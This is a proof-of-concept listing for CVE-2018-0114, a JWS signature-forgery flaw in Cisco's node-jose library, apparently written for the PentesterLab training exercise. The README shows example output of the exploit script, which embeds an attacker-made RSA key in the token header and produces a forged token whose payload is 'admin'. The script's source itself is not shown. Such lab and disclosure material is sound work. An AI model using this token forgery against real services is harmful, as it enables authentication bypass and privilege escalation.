CVE-2018-0114 PoC — Cisco node-jose open source library 数据伪造问题漏洞

Source

https://github.com/sealldeveloper/CVE-2018-0114-PoC

Associated Vulnerability

Title:Cisco node-jose open source library 数据伪造问题漏洞 (CVE-2018-0114)
Description:Cisco node-jose open source library是美国思科（Cisco）公司的一个基于Web浏览器和node.js的服务器的JSON对象签名和加密的开源库。 Cisco node-jose open source library 0.11.0之前的版本中存在安全漏洞，该漏洞源于node-jose使用了JSON Web Signature (JWS)标准。远程攻击者可通过移除原签名伪造有效的JWS对象利用该漏洞重新签名令牌。

Description

A PoC of CVE-2018-0114 I made for PentesterLab

Readme

# CVE-2018-0114 PoC
Wrote this for PentesterLab

> If you are from PentesterLab's don't cheat, it's alot better to learn.

Hope it's useful to someone, if not to me in the future :)

## Example
```bash
$ python3 script.py
Making keys...
{'alg': 'RS256', 'jwk': {'kty': 'RSA', 'kid': 'seal@seall.dev', 'use': 'sig', 'n': 'ieY5-f_vr1cmwpPl-ACY3FFiLqd4cl5bLVtVMA5tx5A47mG-PRsNg3h-IiX0bTe6xcYDadRyVPRtSwoA6aExUQ', 'e': 'AQAB'}}
Header made!
jwtp1: b'eyJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJzZWFsQHNlYWxsLmRldiIsInVzZSI6InNpZyIsIm4iOiJpZVk1LWZfdnIxY213cFBsLUFDWTNGRmlMcWQ0Y2w1YkxWdFZNQTV0eDVBNDdtRy1QUnNOZzNoLUlpWDBiVGU2eGNZRGFkUnlWUFJ0U3dvQTZhRXhVUSIsImUiOiJBUUFCIn19.YWRtaW4'
signed it
eyJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJzZWFsQHNlYWxsLmRldiIsInVzZSI6InNpZyIsIm4iOiJpZVk1LWZfdnIxY213cFBsLUFDWTNGRmlMcWQ0Y2w1YkxWdFZNQTV0eDVBNDdtRy1QUnNOZzNoLUlpWDBiVGU2eGNZRGFkUnlWUFJ0U3dvQTZhRXhVUSIsImUiOiJBUUFCIn19.YWRtaW4.aigT6w7ZUZhY96Zm-_LZ5GZA1giN-rMmjxSvqY_ME1pqxemPKYS1JZEMneEpQBpX_xmNufSbAQjwBD1v7xhszg
```

File Snapshot


 [4.0K]  /data/pocs/39608f6a3ab93802ab1e75efc129942a95bfde17
├── [ 34K]  LICENSE
├── [1.0K]  README.md
├── [ 110]  requirements.txt
└── [1.9K]  script.py

0 directories, 4 files

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